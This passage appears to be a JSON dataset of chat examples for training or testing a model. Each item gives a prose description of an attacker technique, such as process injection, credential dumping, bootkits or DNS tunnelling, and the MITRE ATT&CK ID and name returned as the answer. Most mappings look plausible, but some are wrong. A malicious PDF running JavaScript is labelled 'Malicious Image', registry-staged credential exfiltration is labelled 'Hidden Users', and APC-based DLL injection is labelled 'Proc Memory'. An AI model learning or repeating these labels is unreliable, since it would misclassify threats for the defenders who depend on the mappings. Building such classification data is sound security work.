                "content": "Cyber actors develop a stealthy data‑exfiltration module that encrypts data before sending."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor enumerates all running processes to identify applications handling sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor sends a high volume of DNS queries to a DNS resolver embedded in an application, causing it to exceed its query handling capacity."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation tool writes a command to the HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce registry key to execute on the next boot."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor created a scheduled task that runs \"cscript.exe\" with a malicious JScript file, using the system's script host as a proxy to execute the payload."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan stores its configuration in an XML file that is double‑encoded with Base64."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT3 tunnels malicious payloads through SMB traffic, disguising data exfiltration as standard file sharing operations."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A program intercepts the Secure Attention Sequence (SAS) by hooking authentication APIs, capturing entered credentials."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary establishes a reverse shell by encapsulating malicious traffic inside DNS queries and responses, effectively using DNS tunneling to bypass network defenses."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a malicious certificate to the Trusted Publishers store, enabling signed malware to bypass security checks."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group downgrades the encryption algorithm of an encrypted messaging app from AES‑256 to DES."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder collects WHOIS data for the organization's domain to retrieve registration details and contact information."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code hooks the Credential Manager's CredWrite function to log credentials before they are saved."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the System Script Proxy Execution via PubPrn to run hidden payloads."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks a popular blog's SEO strategy, inserting hidden keywords and backlinks that push malicious URLs to the top of search results."
            },
            {
                "role": "assistant",
                "content": "T1608.006 - Stage Capabilities: SEO Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a software update, the adversary takes advantage of improperly configured installer file permissions to replace the original installer with a trojan that executes with high privileges."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses Base64 encoding to hide exfiltrated data within HTTP POST requests."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a memory forensic tool to pull credential data from securityd."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is achieved by adding a malicious macro to the default Word template (Normal.dotm) which runs on each Word session."
            },
            {
                "role": "assistant",
                "content": "T1137 - Office Application Startup"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion drops a plist file in /Library/LaunchAgents that runs a credential-stealing tool on login."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employs DLL injection by directly writing a DLL's binary into a remote process’s memory and queuing an APC to load it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the legitimate Software Installation Provider (SIP) with a malicious version, causing the system to treat unsigned binaries as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary utilizes a compromised legitimate website's form submission to upload exfiltrated data, mimicking normal user traffic."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A web‑based malware payload abuses the WebRTC getUserMedia API to obtain microphone access after the user grants permission, then records and uploads the stream."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The cyber‑criminal team reverse‑engineers firmware to develop an exploit that grants them control over IoT devices."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent access is achieved by replacing the default ROMMON firmware with a malicious version that executes attacker‑controlled commands at startup."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Injects via APC."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries chain several proxy servers together, routing their traffic through multiple hops to hide the origin of their communications."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages PowerShell to programmatically add a malicious root certificate to the enterprise Group Policy, affecting all domain‑joined Windows hosts."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary dropped a PowerShell payload named \"svchost .ps1\" in the system directory, exploiting the space to masquerade as the legitimate svchost process."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group injects false entries into a cloud storage bucket's index, causing data exfiltration scripts to retrieve decoy files."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat employs Extra Window Memory Injection by injecting shellcode into the extra window memory of a system process, then using a SetWindowLongPtr call to redirect execution."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is given a valid-looking signature but the signature is invalid, tricking the OS into loading it."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Office template files are distributed via email and launch PowerShell scripts automatically upon document load."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts the NTLM hash of a service account and crafts a Silver Ticket to impersonate that service on other machines in the network."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks an active remote desktop (RDP) session to run malicious commands on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured S3 bucket, the threat actor uploaded an index.html file that replaces the original site content with a defaced page."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a malicious TFTP server to deliver a compromised boot script to embedded devices during power‑on."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary accesses the Registry key HKLM\\Security\\Cache to dump cached domain logon passwords for later reuse."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware obfuscates its command strings by XOR-ing them with a static key before calling cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script sends periodic telemetry to a malicious web service via HTTPS GET requests, treating the channel as one-way and discarding any returned data."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group adds a scheduled job in Linux's /etc/cron.d to persist their encryption command across reboots."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware converts sensitive data to hexadecimal strings to hide it during exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromising the system's trust provider registry entries, the adversary forces the OS to accept tampered system files as trusted."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script was saved with the same filename and icon as a trusted PowerShell script, misleading analysts."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script appends data to the resource fork of a PDF document, allowing it to persist undetected."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed a supply chain attack, gaining access to a partner's code signing infrastructure and using the certificate for payload signing."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised development environment runs a script that accesses the keychain to pull stored API keys."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the PATH in a Docker container’s environment to point to a malicious binary, causing container processes to execute compromised code."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors tamper with the UEFI Secure Boot keys, allowing unsigned malicious firmware to be loaded during the pre‑OS boot phase."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor injects commands into a legitimate update script that downgrade's the operating system's security patches to an earlier, vulnerable state."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor extracts email attachments from local copy of Microsoft Exchange mailbox files."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a crafted PDF file that runs a malicious JavaScript snippet when opened."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping is performed by reading the NTDS.dit file from a domain controller to obtain Active Directory hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor altered the firewall's egress rules in the cloud to allow data exfiltration to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan stages collected credentials in the registry and later extracts them via a covert HTTP channel."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor clears the \"Mark of the Web\" attribute from malicious PowerShell scripts before executing them on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the network logon script on the domain controller to launch a hidden VBS script for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1037.003 - Boot or Logon Initialization Scripts: Network Logon Script"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Windows Script Host to execute a VBScript that reads the SAM database and exfiltrates credentials."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware establishes a persistent channel by creating a named pipe that allows a privileged service to receive commands from a low‑privilege user process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage tool stores its configuration data inside the whitespace of a text file, using steganographic encoding to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors inject altered data into MQTT messages in transit, causing IoT devices to execute unauthorized actions."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A bootkit leverages a vulnerable OEM firmware component to inject code into the early boot sequence, achieving persistence without touching the OS file system."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker combines a rootkit with keylogging to hide its data exfiltration activities."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware intercepts calls to the Windows LogonPasswordChange function to steal user passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor compromises a cloud‑based VPS and uses it to host command‑and‑control infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware communicates with its C2 server using packets that mimic standard MQTT traffic."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor exploits a default‑allow policy on the container engine's gRPC API to dump the credential store containing Docker registry logins."
            },
            {
                "role": "assistant",
                "content": "T1552.007 - Unsecured Credentials: Container API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ransomware activity was observed where the payload encrypts backup archives and leaves a README with payment details."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A rogue browser plug‑in reads cookies from the user's profile and sends them to an external server."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The spyware writes captured keystrokes to a file and automatically exfiltrates the file using a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes bounded data transfers to circumvent DLP systems that flag large files."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a command that extracts the list of security groups from the macOS directory services."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the attacker saves base64‑encoded credential strings in the Registry path HKLM\\Software\\XYZ\\Creds."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a new Windows service named 'SysUpdate' that runs a malicious DLL at system startup."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the system firmware to embed malicious code that executes before the operating system boots, ensuring persistence across reboots."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
